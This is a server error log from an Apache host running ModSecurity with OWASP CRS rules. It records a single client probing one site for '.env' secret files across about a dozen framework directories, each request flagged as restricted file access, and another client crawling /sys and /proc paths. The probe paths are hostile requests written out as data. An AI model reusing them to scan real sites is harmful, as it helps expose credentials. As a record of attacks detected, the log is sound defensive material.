[Fri Jul 17 09:26:02.799864 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/wordpress/.env"] [unique_id "almn0rEKozcCJ-ReuK0IaAAAAAg"]
[Fri Jul 17 09:26:02.800259 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/wordpress/.env"] [unique_id "almn0rEKozcCJ-ReuK0IaAAAAAg"]
[Fri Jul 17 09:26:02.800731 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/wordpress/.env"] [unique_id "almn0rEKozcCJ-ReuK0IaAAAAAg"]
[Fri Jul 17 09:26:02.898405 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:02.970022 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/wp/.env"] [unique_id "almn0lCBpfuYyhJ140vYHQAAAB4"]
[Fri Jul 17 09:26:02.970285 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/wp/.env"] [unique_id "almn0lCBpfuYyhJ140vYHQAAAB4"]
[Fri Jul 17 09:26:02.970645 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/wp/.env"] [unique_id "almn0lCBpfuYyhJ140vYHQAAAB4"]
[Fri Jul 17 09:26:03.128247 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/cms/.env"] [unique_id "almn04-0g_VSPeIeFN3F4AAAAAs"]
[Fri Jul 17 09:26:03.128525 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/cms/.env"] [unique_id "almn04-0g_VSPeIeFN3F4AAAAAs"]
[Fri Jul 17 09:26:03.128939 2026] [security2:error] [pid 2034024:tid 2034024] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/cms/.env"] [unique_id "almn04-0g_VSPeIeFN3F4AAAAAs"]
[Fri Jul 17 09:26:03.265484 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty3/subsystem/tty14/power/control"] [unique_id "almn07EWOaI5pmYo9fnUOAAAAAA"]
[Fri Jul 17 09:26:03.265522 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty3/subsystem/tty14/power/control"] [unique_id "almn07EWOaI5pmYo9fnUOAAAAAA"]
[Fri Jul 17 09:26:03.297480 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/drupal/.env"] [unique_id "almn07EKozcCJ-ReuK0IaQAAAAg"]
[Fri Jul 17 09:26:03.297800 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/drupal/.env"] [unique_id "almn07EKozcCJ-ReuK0IaQAAAAg"]
[Fri Jul 17 09:26:03.298204 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/drupal/.env"] [unique_id "almn07EKozcCJ-ReuK0IaQAAAAg"]
[Fri Jul 17 09:26:03.475946 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/joomla/.env"] [unique_id "almn0614q1EBnanVMYGpcAAAAAk"]
[Fri Jul 17 09:26:03.476334 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/joomla/.env"] [unique_id "almn0614q1EBnanVMYGpcAAAAAk"]
[Fri Jul 17 09:26:03.476851 2026] [security2:error] [pid 2032156:tid 2032156] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/joomla/.env"] [unique_id "almn0614q1EBnanVMYGpcAAAAAk"]
[Fri Jul 17 09:26:03.513908 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:03.515420 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/tty0/subsystem/tty54/"] [unique_id "almn011_86A5R6msWNfZ6AAAABI"]
[Fri Jul 17 09:26:03.515449 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty49/subsystem/tty0/subsystem/tty54/"] [unique_id "almn011_86A5R6msWNfZ6AAAABI"]
[Fri Jul 17 09:26:03.668148 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /magento/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/magento/.env"] [unique_id "almn07EKozcCJ-ReuK0IagAAAAg"]
[Fri Jul 17 09:26:03.668444 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/magento/.env"] [unique_id "almn07EKozcCJ-ReuK0IagAAAAg"]
[Fri Jul 17 09:26:03.668887 2026] [security2:error] [pid 2036488:tid 2036488] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/magento/.env"] [unique_id "almn07EKozcCJ-ReuK0IagAAAAg"]
[Fri Jul 17 09:26:03.708973 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:03.816805 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:03.835873 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shopify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/shopify/.env"] [unique_id "almn01CBpfuYyhJ140vYHwAAAB4"]
[Fri Jul 17 09:26:03.836342 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/shopify/.env"] [unique_id "almn01CBpfuYyhJ140vYHwAAAB4"]
[Fri Jul 17 09:26:03.836812 2026] [security2:error] [pid 2018768:tid 2018768] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/shopify/.env"] [unique_id "almn01CBpfuYyhJ140vYHwAAAB4"]
[Fri Jul 17 09:26:03.972433 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:37828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:04.024644 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/prestashop/.env"] [unique_id "almn1F1_86A5R6msWNfZ6QAAABI"]
[Fri Jul 17 09:26:04.030187 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/subsystem/wakeup15/device/driver/bind
[Fri Jul 17 09:26:04.030335 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/prestashop/.env"] [unique_id "almn1F1_86A5R6msWNfZ6QAAABI"]
[Fri Jul 17 09:26:04.030860 2026] [security2:error] [pid 2029866:tid 2029866] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/prestashop/.env"] [unique_id "almn1F1_86A5R6msWNfZ6QAAABI"]
[Fri Jul 17 09:26:04.211989 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /codeigniter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/codeigniter/.env"] [unique_id "almn1CRF0UOO1RzB5_8zogAAAA4"]
[Fri Jul 17 09:26:04.226851 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:04.234821 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/codeigniter/.env"] [unique_id "almn1CRF0UOO1RzB5_8zogAAAA4"]
[Fri Jul 17 09:26:04.235281 2026] [security2:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/codeigniter/.env"] [unique_id "almn1CRF0UOO1RzB5_8zogAAAA4"]
[Fri Jul 17 09:26:04.328534 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/devices/LNXSYSTM:00/LNXPWRBN:00/driver/unbind
[Fri Jul 17 09:26:04.407355 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cakephp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/cakephp/.env"] [unique_id "almn1A5GPQ6hs4VrfMpHmQAAAAY"]
[Fri Jul 17 09:26:04.407657 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/cakephp/.env"] [unique_id "almn1A5GPQ6hs4VrfMpHmQAAAAY"]
[Fri Jul 17 09:26:04.407998 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/cakephp/.env"] [unique_id "almn1A5GPQ6hs4VrfMpHmQAAAAY"]
[Fri Jul 17 09:26:04.557621 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:04.568519 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /zend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/zend/.env"] [unique_id "almn1I1dLClkUfK_dfHqWwAAAAI"]
[Fri Jul 17 09:26:04.568750 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/zend/.env"] [unique_id "almn1I1dLClkUfK_dfHqWwAAAAI"]
[Fri Jul 17 09:26:04.568989 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:37934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:04.569095 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/zend/.env"] [unique_id "almn1I1dLClkUfK_dfHqWwAAAAI"]
[Fri Jul 17 09:26:04.729807 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /yii/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/yii/.env"] [unique_id "almn1A5GPQ6hs4VrfMpHmgAAAAY"]
[Fri Jul 17 09:26:04.730070 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/yii/.env"] [unique_id "almn1A5GPQ6hs4VrfMpHmgAAAAY"]
